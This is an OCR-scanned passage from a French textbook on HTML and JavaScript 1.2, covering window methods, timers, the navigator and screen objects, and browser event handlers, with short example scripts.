ref_win est le nom de la variable qui sera utilisée pour faire référence à la nouvelle fenê­
tre (pour accéder à une propriété ou à une méthode de cette fenêtre, par exemple).
URL est l'URL du document qui doit être affiché dans cette fenêtre.
nom_fenetre est le nom de la fenêtre tel qu'il pourra être utilisé par l'attribut TARGET
des liens hypertexte (afin de choisir cette fenêtre comme cible du document à afficher).
options est une chaîne de caractères qui indique les caractéristiques de la fenêtre à créer.
Cette chaîne est composée d'une série de caractéristiques séparées par des virgules. Les
caractéristiques possibles sont les suivantes :

Caractéristique
Signification
(la première valeur indiquée est Propriété associée
(dans le cas de la valeur yes)
la valeur par défaut)

toolbar*=no ou yes La fenêtre possède la barre [Link] = true ou

d'outils du browser. false
location* =no ou yes La fenêtre possède le [Link] = true ou
champ indiquant l'URL false
courante.
personalbar*=no ou yes La fenêtre possède les bou­ [Link] = true
tons d'orientation (nou­ ou false
veautés...).
status*=no ou yes La fenêtre possède la barre [Link] = true ou
d'état du browser. false
menubar*=no ou yes La fenêtre possède la barre [Link] = true ou
de menu du browser. false
scrollbars*=no ou yes La fenêtre possède une [Link] = true ou
barre de défilement. false
titlebar*=yes ou no La fenêtre possède une
barre de titre et un cadre.
alwaysRaised*=no ou yes La fenêtre reste en perma­
nence au-dessus des autres
fenêtres visibles à l'écran.
alwaysLowered*=no ou yes La fenêtre reste en perma­
nence sous les autres fenê­
tres visibles à l'écran.

Ces options ne peuvent être utilisées que dans des scripts signés.
* Pour des valeurs inférieures à 100, ces options doivent être utilisées dans des scripts signés.
*** Pour afficher une fenêtre en dehors de l'écran, ces options doivent être utilisées dans des scripts
signés.
Pour plus d'informations sur les scripts signés, voir JavaScript et la sécurité, page 402.

320
JavaScript 1.2

Caractéristique Propriété associée

Signification
(la première valeur indiquée est
(dans le cas de la valeur yes)
la valeur par défaut)

dependent=no ou yes La fenêtre est une fille de

la fenêtre à partir de
laquelle elle a été créée.
Elle sera fermée si cette
fenêtre est fermée.
hotkeys=yes ou no La fenêtre possède les rac­
courcis clavier.
z-lock*=no ou yes Lorsqu'elle est activée, la
fenêtre reste tout de même
sous les autres fenêtres
visibles à l'écran.
resizeable* =no ou yes La fenêtre peut être redi-
mensionnée.
innerWidth**=N Largeur de la partie utile [Link]=N
de la fenêtre en pixels.
innerHeight**=N Hauteur de la partie utile [Link]=N
de la fenêtre en pixels.
outerWidth**=N Largeur totale de la fenê­ [Link]=N
tre en pixels (partie utile +
cadre).
outerHeight**=N Hauteur totale de la fenêtre [Link]=N
en pixels (partie utile +
cadre).
screenX***=N Distance en pixels entre le [Link]=N
coin gauche de l'écran et le
coin gauche de la fenêtre.
screenY***=N Distance en pixels entre le [Link] Y=N
haut de l'écran et le haut de
la fenêtre.

* Ces options ne peuvent être utilisées que dans des scripts signés.
** Pour des valeurs inférieures à 100, ces options doivent être utilisées dans des scripts signés.
*** Pour afficher une fenêtre en dehors de l'écran, ces options doivent être utilisées dans des scripts
signés.
Pour plus d'informations sur les scripts signés, voir JavaScript et la sécurité, page 402.

Ainsi, pour ouvrir une fenêtre de 200 x 200 pixels qui soit en permanence au-dessus des
autres fenêtres, on utilisera la chaîne suivante :
'outerWidth=200, outerHeigth=200, alwaysRaised=yes'

En définitive, un appel classique à la méthode open() ressemblera à ceci :

MaFenetre = [Link]('[Link]',
'MaFenetre',
'outerWidth=200,outerHeigth=200,alwaysRaised=yes')

321
 Programmation HTML et JavaScript

Lorsqu'on utilise cette méthode, la fenêtre créée reçoit, dans sa propriété opener, une
référence vers la fenêtre à partir de laquelle elle a été créée.

close
Cette méthode permet de fermer une fenêtre. Les fenêtres ouvertes à l'aide de la méthode
open() et celles qui sont ouvertes "manuellement" par l'utilisateur sont distinguées. Dans
le premier cas, l'appel à la méthode close() ferme directement la fenêtre. Dans le second,
une fenêtre de confirmation s'ouvre, demandant l'accord de l'utilisateur. Cette différence
s'explique par des raisons de sécurité.
Syntaxe :
[Link]()
Cette méthode n'a aucun effet lorsqu'elle est utilisée au sein d'une frame. Pour fermer le
browser à partir d'une frame, on utilisera [Link](), afin de remonter au som­
met de la hiérarchie des frames.
Voici un court exemple dans lequel on propose deux boutons. Le premier permet
d'ouvrir une fenêtre, le second de la fermer. Dans la fenêtre créée, on donne aussi la pos­
sibilité à l'utilisateur de fermer la fenêtre initiale. L'exemple se compose de deux
fichiers :

Le fichier [Link] :
<HEAD><SCRIPT LANGUAGE= "JavaScript1.2">
var NewWin
< /SCRIPT></HEAD>
<body><FORM>
<INPUT TYPE=BUTTON
VALUE="Ici on ouvre"
onClick="NewWin=[Link]( '[Link]','',
'height=100,width=250')">
<BR>
<!-- Avant de fermer la fenêtre, on vérifie que l'objet
NewWin existe -->
<!-- et si c'est le cas, on vérifie que la fenêtre
n'a pas déjà été fermée -->
<INPUT TYPE=BUTTON
VALUE="Ici on ferme"
onClick=:"if ((NewWin)&&(![Link])) {[Link]()}"><BR>
< /FORM></BODY>

Et le fichier [Link], qui sera chargé dans la nouvelle fenêtre :

<body><FORM>
<INPUT TYPE=BUTTON
VALUE="Et ici on tue son père..."
onClick="if (![Link]) {[Link]()}">
< / FORM></BODY>

322
JavaScript 1.2

alert
Un appel à cette méthode ouvre une fenêtre d'alerte, composée d'un texte et d'un bouton
OK. Pour fermer cette fenêtre, l'utilisateur doit appuyer sur le bouton OK. Syntaxe :
[Link](message)

message est la chaîne de caractères à afficher dans la fenêtre d'alerte. Par exemple :
[Link]('Attention, le temps passe...')

blur
Cette méthode permet de faire perdre le focus à une zone (browser ou frame). Une fois
que cette méthode a été appliquée à une zone, cette zone n'est plus la zone active. Cette
méthode provoque le déclenchement du gestionnaire d'événement onBlur associé à la
zone windowRef. Syntaxe :
[Link]()

focus
Cette méthode permet de donner le focus à une zone (browser ou frame). Elle provoque
le déclenchement du gestionnaire d'événement onFocus associé à la zone windowRef.
Syntaxe :
[Link]()

Rappelons que lorsqu'une zone a le focus, c'est elle qui reçoit l'ensemble de ce qui est
saisi au clavier comme par exemple le texte ou les commandes de défilement (flèches
haut et bas du clavier).

prompt
Cette méthode permet d'ouvrir une fenêtre composée d'un message et d'un champ de
saisie. L'appel à cette méthode retourne la valeur saisie par l'utilisateur. Syntaxe :
[Link](message, valeur_defaut)

message est la chaîne de caractères à afficher dans la fenêtre.

valeur_defaut est la valeur par défaut du champ de saisie.

confirm
Cette méthode permet d'ouvrir une fenêtre de confirmation, composée d'un message,
d'un bouton OK et d'un bouton Annuler. L'appel à cette méthode retourne les booléens
true ou false selon que l'utilisateur a choisi le bouton OK ou Annuler. La syntaxe est la
suivante :
[Link](message)

message est la chaîne de caractères à afficher dans la fenêtre.

323
 Programmation HTML et JavaScript

back
Cette méthode simule un clic sur le bouton Précédent du browser (back en anglais).
[Link]()

find
Cette méthode permet de faire une recherche dans le document affiché dans la fenêtre
windowRef.
[Link](Chaine, Casse, Sens)

Chaine est la chaîne de caractères à rechercher.

Casse est un booléen. S'il vaut true, la recherche s'effectue en respectant les minuscules
et les majuscules. La valeur par défaut est false.
Sens est un booléen. S'il vaut true, la recherche s'effectue de la fin vers le début du docu­
ment. La valeur par défaut est false.
Si aucun des paramètres n'est renseigné, un appel à cette méthode ouvre la boîte de
recherche du browser.

forward
Cette méthode simule un clic sur le bouton Suivant du browser (forward en anglais).
[Link]()

home
Cette méthode simule un clic sur le bouton Accueil du browser (home en anglais).
[Link]()

stop
Cette méthode simule un clic sur le bouton Stop du browser.
[Link]()

setTimeout
Un appel à cette méthode déclenche un minuteur, un compte à rebours, à l'issue duquel
une expression JavaScript, passée en paramètre, est exécutée une fois (il n'y a pas de
notion de cycle). Deux syntaxes sont possibles :
timeoutRef = [Link](expressionJS, msec)
ou
timeoutRef = [Link](fonctionRef, msec, arg1, ..., argN)

timeoutRef est une variable référençant le minuteur qui peut être utilisée pour le désacti­
ver (voir clearTimeout(), ci-dessous).
expressionJS est la commande JavaScript à exécuter. Attention : cette expression est
donnée sous la forme d'une chaîne de caractères. Par exemple, [Link]-
meout('[Link](y, 10000), mais surtout pas [Link](win-
[Link](), 10000), auquel cas l'appel à la méthode [Link]() se fait au moment
même de l'appel à la méthode setTimeout.

324
JavaScript 1.2

msec est le temps à attendre avant d'exécuter l'expression expressionJS ou de lancer la

fonction fonctionRef
fonctionRef est une référence vers une fonction créée à l'aide de l'instruction function ou
du constructeur Fonction(). Cette fonction est exécutée en recevant en paramètres les
valeurs arg1, ..., argN. Cela revient à faire l'appel suivant : fonctionRef(arg1, ... , argN)

clearTimeout
Cette méthode permet de désactiver un minuteur qui n'est pas encore arrivé à terme.
[Link](timeoutRef)

timeoutRef est une variable référençant un minuteur créé à l'aide de la méthode setTi-
meout().

setlnterval
Un appel à cette méthode déclenche l'exécution périodique d'une expression ou d'une
fonction JavaScript passée en paramètre. Deux syntaxes sont possibles :

intervaIRef = [Link](expressionJS, msec)

intervaIRef = [Link](fonctionRef, msec, arg1,..., argN)

intervaIRef est une variable référençant le cycle, qui peut être utilisée pour le désactiver
(voir clearInterval(), ci-dessous).
expressionJS est la commande JavaScript à exécuter périodiquement. Attention : cette
expression est donnée sous la forme d'une chaîne de caractères.
msec est la période entre deux exécutions de l'expression expressionJS ou deux lance­
ments de la fonction fonctionRef.
fonctionRef est une référence vers une fonction créée à l'aide de l'instruction function ou
du constructeur Fonction(). Cette fonction est exécutée en recevant en paramètres les
valeurs arg1, ..., argN. Cela revient à faire l'appel suivant : fonctionRef(arg1, ... , argN)

clearlnterval
Cette méthode permet de désactiver un cycle créé à l'aide de la méthode setlnterval().
[Link](intervalRef)

intervaIRef est une variable référençant un cycle créé à l'aide de la méthode setInterval ().

Voici un exemple illustrant l'utilisation des méthodes setInterval() et clearInterval() :

<HEAD><SCRIPT LANGUAGE= "JavaScript1.2">

// Déclaration des variables
var reste=59

325
 Programmation HTML et JavaScript

var interval=null

// Chargement des images représentant les chiffres

Chiffres = new Array(lO)
for (i=0;i<10;i++) {
Chiffres[i] = new Image()
Chiffres[i].src = 'images/' + i + '.gif'
}

// Définition de la fonction appelée chaque seconde

function Ecoule() {
/ / O n modifie l'affichage
[Link] =
Chiffres[[Link](reste/10)].src
[Link] = Chiffres[reste%10].src
if (reste = = 0 ) {
// Une fois les 59 secondes écoulées, on le recharge.
clearInterval(interval)
alert('Trop tard ! ! !')
interval=null
reste=59
}
reste--
}
</SCRIPT>
</HEAD><body BGCOLOR="#FFFFFF">
<FORM>
<CENTER>
<IMG HSPACE=0 NAME="dizaine" SRC="images/[Link]">
<IMG HSPACE=0 NAME="unité" SRC= "images/[Link]"><BR>
<INPUT TYPE=BUTTON VALUE="Début"
onClick="if (!interval) { interval=setlnterval(Ecoule, 1000) }">
<INPUT TYPE=BUTTON VALUE="Pause"
onClick="clearInterval(interval); interval = null">
</CENTER>
</FORM></BODY>

Figure 59 - Document [Link]

326
JavaScript 1.2

moveBy
moveBy déplace la fenêtre sur laquelle on l'applique.
Syntaxe :
[Link](x_ translation, y_ translation)
x_translation et y_translation correspondent au nombre de pixels dont la fenêtre doit être
déplacée horizontalement et verticalement. Les valeurs peuvent être positives ou négati­
ves selon le sens du déplacement souhaité.
Attention : pour faire sortir une fenêtre de l'écran, cette méthode doit être appelée à partir
d'un script signé.

moveTo
moveTo déplace la fenêtre sur laquelle on l'applique cette méthode.
Syntaxe :
[Link](x, y)
x et y représentent les coordonnées du coin supérieur gauche de la fenêtre.
Attention : pour faire sortir une fenêtre de l'écran, cette méthode doit être appelée à partir
d'un script signé.

<SCRIPT LANGUAGE="JavaScript1.2">
var Fen // Fenetre qu'on va ouvrir
var interval = null// Cycle repete tous les diziemes de seconde

// Fonction appelée tous les diziemes de seconde

// Calcule les coordonnees de la fenetre qui tombe
// en fonction du temps
function tombe() {
// Le temps passe
t++
/ / u n peu de physique
y = t*t + v0*t + y0
v = 2*t + v0
// On ne sort pas de l' écran
if (y >= [Link]) {
y = [Link]
// On rebondit en perdant un peu de vitesse

327
 Programmation HTML et JavaScript

v0 = -0.7 * v
y0 = [Link]
t = 0
// II faut bien s'arreter un jour
if ([Link](v0) < 5) {
if (interval) {
clearInterval(interval)
interval = null
}
}
}
/ / O n déplace la fenetre
[Link]([Link],y)
}
// Petite fonction pour lancer le tout
function cestparti() {
/ / O n initialise la hauteur et la vitesse initiales
y0 = [Link]
v0 = 0
t = 0
/ / O n lance le cycle de chute
if (!interval) {
interval = setInterval(tombe, 100)

/ / O n ouvre la fenetre
Fen = [Link]('', '',
'outerWidth=110,outerHeight=150, screenX=110,screenY=110')
[Link]('<CENTER>Si vous appuyez <A HREF="JavaS­
cript: void([Link]())">ici</A> je tombe...<CENTER>')
[Link]()
</SCRIPT>
<BODY >
Ce document cree une nouvelle fen&ecirc;tre Lorsque l'on clique sur le
lien contenu dans cette fen&ecirc;tre, celle-ci tombe.
</BODY>

328
JavaScript 1.2

resizeBy
resizeBy modifie la taille de la fenêtre sur laquelle on l'applique.
Syntaxe :
[Link](largeur_ redim, hauteur_redim)
largeur_redim et hauteur_redim correspondent au nombre de pixels dont le document
doit être déplacé horizontalement et verticalement. Les valeurs peuvent être positives ou
négatives selon qu'on veut agrandir ou rétrécir la fenêtre.
Attention : pour atteindre des tailles de fenêtres inférieures à l00x 100 pixels, cette
méthode doit être appelée à partir d'un script signé.

resizeTo
resizeTo modifie la taille de la fenêtre sur laquelle on applique cette méthode.
Syntaxe :
[Link](largeur, hauteur)
largeur et hauteur représentent la nouvelle largeur et la nouvelle hauteur de la fenêtre.
Attention : pour atteindre des tailles de fenêtres inférieures à l00x 100 pixels, cette
méthode doit être appelée à partir d'un script signé.

329
 Programmation HTML et JavaScript

scroIlBy
scrollBy déplace le document au sein de la fenêtre qui le contient. Cela est valable lors­
que la totalité du document ne peut pas être affiché dans la fenêtre. On peut de cette
façon simuler l'utilisation des barres de défilement (aussi appelées ascenseurs).
Syntaxe :
[Link](x_ translation, y_ translation)
x_translation et y_translation correspondent au nombre de pixels dont le document doit
être déplacé horizontalement et verticalement. Les valeurs peuvent être positives ou
négatives selon le sens du déplacement souhaité.

scrollTo
scrollTo déplace le document au sein de la fenêtre qui le contient. Cela est valable lors­
que la totalité du document ne peut pas être affiché dans la fenêtre. On peut de cette
façon simuler l'utilisation des barres de défilement (aussi appelées ascenseurs)
Syntaxe :
[Link](x, y)
x et y représentent les coordonnées du point du document qui sera déplacé en haut à gau­
che de la fenêtre.

Les gestionnaires d'événement des objets Window

Avant de lire cette section, il est bon de jeter un œil à La gestion des événements,
page 340.
Les objets Window possèdent trois gestionnaires d'événement dont voici la description.

onFocus
Ce gestionnaire gère l'événement focus, c'est-à-dire l'événement qui se produit
lorsqu'une fenêtre devient la fenêtre active (encore une fois, par fenêtre, on entend ici
browser ou frame). Lorsqu'une fenêtre est active, c'est elle qui reçoit tout ce qui est saisi
au clavier, et c'est donc elle qui répond aux raccourcis clavier (touche Tab pour passer
d'un champ de saisie à l'autre, flèche de déplacement pour faire défiler le document...).
En général, on rend une zone active en cliquant sur son fond. Deux syntaxes sont possi­
bles pour renseigner l'action à effectuer lorsque cet événement survient.
La première consiste à utiliser l'attribut onFocus dans la balise <BODY> du document.
De cette façon, toute zone contenant ce document, exécutera l'expression JavaScript
expressionJS lorsqu'elle deviendra la zone active.
<BODY onFocus="expressionJS">

La seconde syntaxe consiste à modifier dynamiquement la valeur du gestionnaire d'évé­

nement. On utilise pour cela la propriété de l'objet Window associée à ce gestionnaire.
Dans le cas du gestionnaire onFocus, il s'agit de la propriété onfocus.
[Link]=fonctionRef

windowRef référence la zone dont on désire modifier le gestionnaire onFocus.

330
JavaScript 1.2

fonctionRef est soit une référence vers une fonction, soit la valeur null si l'on désire sup­
primer le gestionnaire.

Vous trouverez un exemple de l'utilisation de cette seconde syntaxe page 359.

onBlur
Ce gestionnaire gère l'événement blur, c'est-à-dire l'événement qui se produit
lorsqu'une fenêtre perd le focus. En général, on enlève le focus à une zone active en cli­
quant sur le fond d'une autre zone. Comme pour l'événement onFocus, deux syntaxes
sont possibles. La première utilise la balise <BODY> :
<BODY onBlur="expressionJS">

La seconde utilise la propriété onblur des objets Window :

[Link]=fonctionRef

onerror
Ce gestionnaire d'événement se déclenche lorsque survient une erreur dans le code
JavaScript (une erreur de syntaxe, par exemple). Grâce à lui, vous pouvez configurer la
réaction de votre browser lorsque de telles erreurs arrivent. Ce gestionnaire ne peut pas
être renseigné dans du code HTML, mais seulement dynamiquement à l'aide de code
JavaScript. La syntaxe est donc la suivante :
[Link]=fonctionRef

windowRef référence la zone dont on désire modifier le gestionnaire onerror.

fonctionRef est soit une référence vers une fonction, soit la valeur null si l'on désire sup­
primer le gestionnaire (auquel cas le browser ne rapportera plus les erreurs JavaScript
qui auront lieu dans cette zone).

<SCRIPT LANGUAGE="JavaScript1.2">
// On supprime les messages d'erreur
[Link] = null
// On exécute une commande qui n'existe pas !
NimporteQuoi()
// On ne passe pas ici car l'erreur au-dessus
// interrompt le script
[Link]('<H2>Ca ne marche pas...</H2>')
</ SCRIPT>
<!-- Par contre on passe par ici >
<H2>Ca marche</H2>

331
 Programmation HTML et JavaScript

Tableaux récapitulatifs

Pour mieux visualiser la structure de l'ensemble des objets associés au browser, leurs
propriétés, leurs méthodes et leurs gestionnaires d'événement, nous vous proposons trois
tableaux récapitulatifs.

332
JavaScript 1.2

Figure 60 - Les objets du browser et leurs propriétés

333
 Programmation HTML et JavaScript

Figure 61 - Les objets du browser et leurs propriétés (suite)

334
JavaScript 1.2

Figure 62 - Les objets du browser et leurs méthodes

335
 Programmation HTML et JavaScript

Figure 63 - Les objets du browser et leurs gestionnaires d'événement

336
JavaScript 1.2

La classe Navigator
Nous l'avons dit, cette classe ne possède qu'un seul objet, instancié lors du démarrage,
l'objet navigator. Cet objet est beaucoup plus simple que ceux de la classe Window. Il est
aussi moins souvent utilisé. Une utilisation classique consiste par exemple à différencier
un browser Netscape d'un browser Microsoft.
L'objet navigator possède six propriétés et une méthode.

Propriétés

„
Propriété Description
appName Nom du browser (par exemple : 'Netscape'). Cette propriété est souvent utili­
sée pour différencier les browsers Netscape et Internet Explorer de Microsoft.
app Version Version du browser (par exemple : '4.01 [en] (Win95; I)').
language Langue utilisée par le browser., codée sur deux caractères (par exemple 'en'
pour anglais, 'fr' pour français).
platform Type de la machine sur laquelle le browser est exécuté (par exemple 'Win32',
'MacPPC'...).
appCodeName Nom du code (par exemple : 'Mozilla').
userAgent chaîne de caractères envoyée au serveur lors d'une requête HTTP (par exem­
ple : 'Mozilla/4.01 [en] (Win95; I)').
plugins Tableau de tous les plug-ins installés sur le browser. Chaque élément du
tableau possède les propriétés
name : nom du plug-in
description : description du plug-in
Le tableau est un tableau associatif, si bien qu'on peut accéder à chaque élé­
ment soit par son index soit par son nom. Exemples :
[Link][1]
[Link]['LiveAudio']
mimeTypes Tableau de tous les types MIME reconnus par le browser. Chaque élément du
tableau possède les propriétés
type : nom du type MIME (selon la syntaxe type/sous-type)
description : description du type
enabledPlugin : référence vers le plug-in qui gère ce type
suffixes : listes des suffixes de fichiers gérés par ce type
Le tableau est un tableau associatif, si bien qu'on peut accéder à chaque élé­
ment soit par son index soit par son type. Exemples :
[Link][1]
[Link]['image/gif ]

Voici un court exemple destiné à avertir les utilisateurs n'utilisant pas Netscape, des pro­
blèmes qu'ils risquent de rencontrer :

<HEAD><SCRIPT LANGUAGE= "JavaScript1 . 2 " >

var StrQuestion='Pour cette page, il est préférable
d'utiliser Netscape. Voulez-vous tout de même continuer?'
// Teste si le client est Netscape
// Dans le cas contraire, demande à l'utilisateur

337
 Programmation HTML et JavaScript

// s'il veut continuer

if ( ([Link] ! = 'Netscape')&&(!confirm(StrQuestion))) {
// S'il ne veut pas continuer, on revient en arriere
[Link]()
} else {
// S'il veut continuer, on écrit la suite du document
[Link] ('Tout va pour le mieux dans le meilleur
des mondes...')
}
</SCRIPT></HEAD>

Les deux dernières propriétés décrites ci-dessus sont des tableaux d'objets complexes.
Elles sont utiles pour connaître les possibilités d'un browser et ainsi ne pas proposer à
l'utilisateur des fichiers que son browser ne saurait pas gérer. Voici deux exemples illus­
trant l'usage de ces propriétés.
Dans le premier, on vérifie que le plug-in Shockwave est installé sur le browser afin de
savoir si l'on peut proposer une séquence Shockwave à l'utilisateur :

<SCRIPT LANGUAGE="JavaScript1.2">
// Avant de proposer d'inserer une sequence Shochwave,qui necessite
// l'usage d'un plug-in on vérifie que le plug-in en question est
// installe sur le browser. Sinon on affiche un message
// d'avertissement ala place de la sequence.
// Teste si Shockwave est dans le tableau des plug-ins disponibles

if ([Link]['Shockwave']) {
[Link]('<EMBED SRC="[Link]">')
} else {
[Link]('D&eacute;sol&eacute; votre browser
ne sait pas afficher les s&eacute;quences Shockwave...')
}
</ SCRIPT>

Dans le second exemple, on vérifie que le browser sait gérer le type MIME video/msvi-
deo, afin de savoir si on peut lui proposer un lien hypertexte vers une séquence vidéo au
format AVI :

<SCRIPT LANGUAGE="JavaScript1.2">
// Avant de proposer un lien hypertexte pointant sur un fichier AVI,
// on verifie que le browser est capable de gerer le type MIME
// correspondant, video/msvideo.
// Teste si video/msvideo est dans le tableau des types MIME reconnus

if ([Link]['video/msvideo']) {
[Link]('<A HREF="[Link]">Voir le clip de mes vacan-
ces</A>')
} else {

338
JavaScript 1.2

[Link]('D&eacute; sol&eacute; votre browser

ne conna&icirc;t pas ce type de format video...')
}
< /SCRIPT>

La classe Screen
Cette classe ne possède qu'un seul objet, instancié lors du démarrage, l'objet screen. Il
s'agit là encore d'un objet très simple dont le but est de fournir au développeur des infor­
mations sur l'affichage de la machine sur laquelle fonctionne le browser.

Propriétés

Propriétés Description
height Hauteur de l'écran en pixels.
width Largeur de l'écran en pixels.
availHeight Nombre de pixels disponibles verticalement. Il s'agit en fait de la hauteur de
l'écran à laquelle on a retiré la dimension des objets utilisés par le système
d'exploitation pour afficher certaines informations (barre de menu du Macin­
tosh, barre des tâches de Windows...).
availWidth Nombre de pixels disponibles horizontalement. Il s'agit en fait de la hauteur de
l'écran à laquelle on a retiré la dimension des objets utilisés par le système
d'exploitation pour afficher certaines informations (barre de menu du Macin­
tosh, barre des tâches de Windows...).
pixelDepth Nombre de bits utilisés pour coder la couleur d'un pixel.
colorDepth Nombre de couleurs disponibles, obtenu à partir de la palette de couleurs si
une palette est utilisée, à partir du nombre de bits utilisés pour coder la couleur
dans le cas contraire.

Voici un court exemple montrant les caractéristiques de l'affichage :

<SCRIPT LANGUAGE="JavaScript1.2">
[Link]('La hauteur de votre &eacute;cran est de '
+ [Link] + ' pixels.<BR>')
[Link]('La hauteur disponible est '
+ (([Link]==[Link])? 'de seulement de ')
+ [Link] + ' pixels.<BR>')
[Link]('La couleur des pixels est cod&eacute;e sur '
+ [Link] + ' bits.' + '<BR>')
[Link]('Vous disposez de '
+ [Link] + ' couleurs.' + '<BR>')
</SCRIPT>

Figure 64 - Document [Link]

339
 Programmation HTML et JavaScript

La gestion des événements

Un des principaux intérêts de JavaScript réside dans la possibilité de programmer les
réactions du browser face aux actions de l'utilisateur. Grâce à JavaScript, on peut modi­
fier le comportement par défaut du browser et l'adapter ainsi à des situations particuliè­
res. Cette programmation permet de casser un peu la rigidité d'HTML et surtout de
diminuer les échanges entre le browser et le serveur, dans la mesure où le browser va être
capable de prendre des initiatives.
Pour cela, JavaScript s'appuie sur la notion d'événements. Les principales interventions
de l'utilisateur (le passage de la souris sur un objet ou un clic, l'envoi d'un formulaire...)
sont classifiées en événements. Ainsi, chaque objet du browser est sensible à certains
événements (un lien hypertexte est par exemple sensible au clic ou au passage de la sou­
ris, un formulaire est sensible au fait d'être soumis au serveur). A chaque couple objet-
événement, on peut associer une série d'instructions JavaScript, ou une fonction, qui sont
déclenchées lorsque l'utilisateur provoque l'événement sur l'objet.
Au niveau de l'écriture du document HTML, cette association entre un couple objet-évé­
nement et une action à effectuer peut se faire de deux façons.
La première consiste à utiliser les attributs de balise destinés à la gestion des événements.
Grâce à eux, on peut associer une série d'instructions JavaScript (séparées par des
points-virgules) à un événement. Pour gérer un passage de souris au-dessus d'un lien
hypertexte par exemple, on utilise l'attribut onMouseOver. Ainsi, si l'on souhaite ouvrir
une boîte de dialogue au moment où l'utilisateur passe sa souris sur un lien hypertexte,
on utilisera un code HTML de ce type :

<BODY>
<A HREF="[Link]" onMouseOver="alert('On s\' intéresse à moi
? ')">Cliquez ici</A>
</BODY>

De cette façon, chaque fois que l'utilisateur passe sa souris sur le lien ainsi défini, une
boîte de dialogue s'ouvre. Notez qu'on aurait pu ajouter d'autres instructions après l'ins­
truction alert(). Cette méthode est très adaptée pour des développements simples. Elle a
l'avantage d'être très concise (on n'a pas besoin d'avoir recours à la balise <SCRIPT>).

Avec la seconde méthode, on désigne pour un objet donné et un événement précis la

fonction qui devra être exécutée. Cette désignation se fait entièrement à l'aide de code
JavaScript. Cette méthode s'appuie sur le fait que les objets du browser possèdent une
propriété pour chaque événement auquel ils sont sensibles. Le nom de cette propriété est
tout simplement celui de l'attribut de balise associé à cet événement (mais en
minuscules !). Un objet représentant un lien aura par exemple une propriété onmouseo-
ver. C'est en donnant à cette propriété une référence vers une fonction (que l'on aura
définie au préalable) qu'on indique au browser la fonction à exécuter lorsque survient

340
JavaScript 1.2

l'événement. Pour illustrer cela, voici un exemple tout simple donnant le même résultat
que l'exemple précédent :
<BODY>
<A HREF="[Link]">Cliquez ici</A>
</BODY>
<SCRIPT LANGUAGE="JavaScript1.2">
// Le code JavaScript est place à la fin du document
// car il fait référence à des objets définis dans ce document
// Définition de la fonction Interet
function Interet() {
alert('On s\'int&eacute;resse &agrave; moi ? ')
}
// Association de la fonction au gestionnaire
// d'evenements du lien
[Link][0].onmouseover = Interet
</SCRIPT>

Comme on le voit, cette méthode est moins simple que la précédente. Elle est en revan­
che plus puissante, car elle permet par exemple de modifier à tout moment la fonction
associée à un événement. De plus, elle permet de mieux dissocier le code JavaScript et le
code HTML, ce qui rend les documents plus lisibles.

La classe event
Chaque fois que survient un événement, le browser crée un objet qui contient toute une
série d'informations concernant cet événement. Cet objet peut être manipulé dans le code
JavaScript inséré au sein d'un attribut de balise dédié à la gestion d'événements en utili­
sant la syntaxe [Link]. Si l'on a associé une fonction au gestionnaire d'événe­
ment (à l'aide de code JavaScript), l'objet event est passé en paramètre de cette
fonction.

Propriétés

Propriétés Description
type Chaîne de caractères indiquant le type d'événement (onclick, onmouseover...).
Notez que selon le type d'événements, seulement certaines propriétés sont ren­
seignées.
target Référence vers l'objet sur lequel cet événement a été déclenché.
layerX Position horizontale de la souris en pixels au sein de la couche (ou largeur de
l'objet redimensionné dans le cas d'un événement resize).
layerY Position verticale de la souris en pixels au sein de la couche (ou hauteur de
l'objet redimensionné dans le cas d'un événement resize).
pageX Position horizontale de la souris en pixels au sein de la page.
pageY Position verticale de la souris en pixels au sein de la page.
screenX Position horizontale de la souris en pixels par rapport à l'écran.
screenY Position verticale de la souris en pixels par rapport à l'écran.

341
 Programmation HTML et JavaScript

Propriétés Description

which Code ISO-Latin 1 de la touche liée à l'événement ou numéro du bouton de sou­

ris.
modifiera Entier précisant les touches spéciales du clavier (ALT, SHIFT, CONTROL,
META) enfoncées au moment où l'événement a eu lieu. Exemple d'utilisation
de la propriété modifiers :
if([Link]&(Event.SHIFT_MASK|Event.CONTROL_MASK))
(
alert('SHIFT et CONTROL sont enfoncés !')
}
data Tableau de chaînes de caractères contenant la liste des URL des liens qui ont
été déposés dans le browser après une opération de Glisser/Déposer (Drag and
Drop). Attention : cette propriété ne peut être atteinte qu'au sein d'un script
signé (voir JavaScript et la sécurité, page 402).

Voici un court exemple illustrant l'utilisation de l'objet event. Il est composé de deux
champs texte. Chaque fois qu'une touche est enfoncée, la lettre associée à cette touche
est affichée dans une boîte de dialogue. Pour le premier champ, le gestionnaire d'événe­
ment onKeyPress est renseigné à l'aide d'un attribut de balise HTML. Pour le second
champ, le gestionnaire d'événement est spécifié à l'aide de code JavaScript et correspond
à la fonction Info().

<BODY>
<FORM NAME=identite>
Nom : <INPUT NAME="nom"
onKeyPress="alert([Link]([Link]))">
<BR>
Prénom : <INPUT NAME="prenom">
</BODY>
<SCRIPT LANGUAGE="JavaScript1.2">
/ / L e code JavaScript est place à la fin du document car il
// fait reference a des objets définis dans ce document
// Definition de la fonction Info
/ / L e parametre evt recevra les informations derivant
// 1'evenement
function Info(evt) {
alert([Link]([Link]))
}
// Association de la fonction au gestionnaire
// d'événements du champ prenom
[Link] = Info
</SCRIPT>

342
JavaScript 1.2

Les nouveaux attributs de balises

La syntaxe générale pour associer un gestionnaire d'événement à un objet HTML est la
suivante :
<BALISEHTML onEvenement="expressionJS">

BALISEHTML est une balise HTML.

onEvenement est un des nouveaux attributs de gestion d'événements.
expressionJS est une chaîne de caractères contenant une ou plusieurs commandes Java­
Script séparées par des points-virgules.

Voici la liste des nouveaux attributs. Attention : chaque objet HTML n'est sensible qu'à
certains de ces événements. Pour savoir quel objet réagit à quels événements, reportez-
vous à la figure , page 336.

Attribut Propriété associee Description

onAbort onabort Est déclenché lorsque l'utilisateur interrompt le chargement
d'une image.
onBlur onblur Est déclenché lorsqu'un objet perd le focus.
onClick onclick Est déclenché lorsque l'utilisateur clique sur un objet.
onChange onchange Est déclenché lorsque l'utilisateur a changé la valeur d'un
champ de saisie.
onDbIClick ondblclick Est déclenché lorsque l'utilisateur double-clique sur un objet.
onDragDrop ondrapdrop Est déclenché lorsque l'utilisateur fait glisser un objet dans le
browser.
onError onerror Est déclenché lorsqu'une erreur se produit lors du chargement
d'une image ou de l'exécution de code JavaScript.
onFocus onfocus Est déclenché lorsqu'un objet reçoit le focus.
onKeyDown onkeydown Est déclenché lorsque l'utilisateur enfonce une touche.
onKeyPress onkeypress Est déclenché lorsque l'utilisateur a appuyé sur une touche.
